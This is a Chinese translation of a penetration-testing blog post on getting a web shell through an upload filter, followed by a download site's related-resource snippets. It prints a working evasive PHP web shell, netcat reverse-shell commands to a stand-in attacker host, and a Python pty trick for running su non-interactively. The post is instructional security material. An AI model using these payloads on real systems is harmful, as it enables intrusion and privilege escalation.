`

[译]web shell中使用su

 
阅读更多
原文地址:http://pen-testing.sans.org/blog/pen-testing/2014/07/08/sneaky-stealthy-su-in-web-shells
本文的重点是讲述如何使用su
场景:web服务器中存在一个上传漏洞,site确保上传文件以.jpg或.png结尾。这时,上传一个shell.php.jpg,包含如下代码:
<?php @extract($_REQUEST); @die ($ctime($atime)); ?>

该这个shell绕过了扩展名检查,但是由于它在文件名中包含.php,许多系统把它当成脚本执行。同时,这个shell不包含"/bin/sh","shell_exec"或system字符串。
$ curl "http://Site/shell.php.jpg?ctime=system&atime=whoami"
apache

现在我们拥有了一个webshell。
接下来是建立一个连会攻击者的netcat session
http://Site/shell.php.jpg?ctime=system&atime=nc+-nv+my.attack.er.ip+80+-e+/bin/sh

如果目标机的netcat不支持-e选项,参考GAPING_SECURITY_HOLE选项,可以使用下面的方法(参考:http://pen-testing.sans.org/blog/pen-testing/2013/05/06/netcat-without-e-no-problem):
http://Site/shell.php.jpg?ctime=system&atime=mknod+/tmp/mypipe+p;+/bin/sh+</tmp/mypipe+|+nc+my.attack.er.ip+80+>/tmp/mypipe

一旦我们建立了shell,接下来使用su/sudo来提权,因为他们使用一种特殊方法来交互(s使用sudo,参考http://ecstaticsec.tumblr.com/post/87205770569/sudo-tricks)
如果你不想有一个反向连接到你的server的connection,但是你该如何升级权限?因为sudo不可能出现在/etc/sudoers文件中。su有一个-c选项,允许我们指定命令。但是我们有一个问题,我们需要运行su以及提供一个密码。如果我莫使用echo来访su传递密码会怎样?
$ echo password | su -c whoami

必须是一个tty
可能会得到一个“must be run from a terminal”错误--su命令希望我们从终端运行。
我们可以使用python来伪造一个终端:
(sleep 1; echo password) | python -c "import pty; pty.spawn(['/bin/su','-c','whoami']);"
分享到:
评论

相关推荐

    linux下shell脚本实现数据的导出

    总结来说,这个场景涉及到了Linux下的shell脚本编写,主要是使用`exp`命令导出Oracle数据库中的数据,并通过Java程序来调用这个脚本。这在日常的运维工作中非常常见,通过这种方式可以实现自动化数据备份,提高工作...

    只是一个小的shell脚本来找到的主机上运行的特殊服务(Web服务器、SSH、Telnet)在局域网中使用Nmap。.zip

    在这个压缩包中包含的是一个Shell脚本,用于在局域网内使用Nmap工具寻找运行特定服务(如Web服务器、SSH和Telnet)的主机。Nmap是一款强大的网络扫描工具,广泛应用于网络安全检测、系统审计以及网络管理。下面将...

    The New SU User's Manual

    `su name` 命令可以列出SU中每个项目的名称及其简短描述,有助于用户快速查找特定工具的功能概述。 **2.3 自文档化程序 (Selfdoc)** 自文档化是SU的一个重要特性,几乎每个工具都包含了详细的文档信息。用户可以...

    脏牛提权复现以及如何得到一个完全交互的shell1

    当成功访问这个后门并获得了一个低权限的Web shell时,可以利用脏牛漏洞的EXP(exploit)进行提权。 脏牛EXP可以从GitHub上的FireFart/dirtycow项目获取。下载后,通过`gcc -pthread dirty.c -o dirty –lcrypt`...

    su 提权 php的

    首先,"su"是Unix/Linux系统中的一个命令,全称为"switch user",它允许用户切换到其他用户身份,特别是提升到root权限。通常,只有root用户或者拥有sudo权限的用户才能执行su命令。然而,如果系统存在安全漏洞或...

    linux一键安装web环境(含教程)

    可以使用`sudo -i`或者`su`切换到root用户。 二、下载与安装 1. 下载脚本:这个一键安装脚本名为"sh-1.4.1",通常是一个可执行的shell脚本。你可以通过`wget`命令从指定源下载,例如`wget ...

    java web 开发总结

    - 当使用`su`命令切换用户时,如果遇到"当前用户不可用"的错误,可能是因为目标用户的shell被设置为非交互式登录,如`/sbin/nologin`。可以通过编辑`/etc/passwd`文件,更改相关用户的shell设置来解决。 这些经验...

    外壳搜索「Shell Search」-crx插件

    s-Web的Shell替换使用多功能框就像命令行一样。 调用它时先写一个“ s”,然后是一个空格,然后使用其中一个命令直接在不同的网站中搜索。 就像yubnub一样,它在您的PC上本地运行并具有自动补全支持。 也很容易扩展...

    CentOS6.7下使用非root用户(普通用户)编译安装与配置mysql数据库并使用shell脚本方式实现数据库随机自动启动

    为了使 MySQL 在启动时自动运行,需要创建一个 shell 脚本来实现自动启动。这里提供一个基本的示例脚本: ```bash #!/bin/bash # # mysql - Auto starts the MySQL database # chkconfig: 2345 90 10 # description...

    Apache+PHP3+PostgreSQL作为基于Web的数据库平台的安装

    - **来源**: PostgreSQL 可以从官方网站 http://www.postgresql.org/ 下载最新版本,本教程中使用的版本为 6.5.x 或 6.4 版本。 **3.1.2 准备工作** - PostgreSQL 的安装需要 GNU make 3.75 及其以上版本、GCC ...

    Linux下安装LoadRunner.docx

    使用cat /opt/HP/HP_LoadGenerator/env.csh &gt; /etc/.login命令将环境变量添加到login文件中,然后使用su - load && cat /opt/HP/HP_LoadGenerator/env.csh &gt;.cshrc命令将环境变量添加到cshrc文件中。 4. 检查运行...

    Shell脚本实现启动PHP内置FastCGI Server

    在本文中,我们将深入探讨如何使用Shell脚本来启动PHP内置的FastCGI服务器,这是在没有php-fpm等专用进程管理器的情况下,为PHP提供FastCGI服务的一种方法。FastCGI是一种协议,用于在Web服务器(如Nginx)和动态...

    靶机练习 narak ,个人学习心得

    我们学习到了使用 Nmap 扫描靶机的端口服务,使用 Dirb 工具进行目录扫描,使用 Cewl 工具生成密码字典,使用 WebShell 获取靶机的 shells 访问权限,使用 Nc 工具建立反向连接,使用 Python 进行交互 shell,使用 ...

    CDH+切换用户失败+解决方案

    当用户登录Shell被设置为`/sbin/nologin`时,意味着该用户无法通过交互式的方式登录,即不允许通过`su`命令或其他类似方式切换到该用户。这通常是为了安全考虑而进行的配置,特别是对于一些不需要人工干预的服务账户...

    教员-Linux网关及安全应.docx

    13. su 命令使用:su - 命令将使用目标用户的 shell 环境。 14. 系统安全设置:删除不适用的账户、禁用暂时不适用的账户、强制用户定期修改密码等都是增强用户帐户安全的常见措施。 15. 防火墙实现:Linux 防火墙...

    LINUX 24学时教程

    3.5 在OpenLinux操作系统中使用艾美加 (Iomega)公司的Zip驱动器 42 3.6 课时小结 43 3.7 专家答疑 43 3.8 练习题 43 第二部分 学习Linux操作系统的基本命令 第4学时 阅读与浏览命令 46 4.1 使用man命令获取帮助 46...

    VMware vsan+ 故障查询+信息状态查询

    在VMware vSAN环境中,当遇到系统故障时,传统的Web界面可能会出现操作不畅或者信息显示不全等问题,这时候就需要借助命令行工具来进行更为深入的问题诊断。本文将详细介绍如何通过RVC(Ruby vSphere Console)...

    AndroidStudio查看SQLite数据库方法大全.docx

    最后,在 Chrome 浏览器中输入 chrome://inspect/#devices,访问后会弹出一个页面,点击上方的 Resource 按钮,点开左边栏的 Web SQL 即可查看数据库的相应数据。 方法 2:SQLite Expert Professional SQLite ...

    linux 基于Samba设置共享目录

    本文详细介绍了如何在Linux系统中使用Samba服务实现文件共享的功能。从Samba服务的安装、配置,到用户管理、共享目录的设置以及常见问题的解决等方面进行了全面的讲解。通过这些步骤,可以有效地实现跨平台文件共享...

    Linux下使用LoadRunner

    - 创建一个名为 `load` 的用户,其 shell 使用 `csh`:`useradd -g 0 -s /bin/csh load` - 设置用户的 home 目录:`usermod -d /home/user/load load` - 将 LoadRunner 的环境变量导入 csh 配置文件中:`cat /opt/HP...

Global site tag (gtag.js) - Google Analytics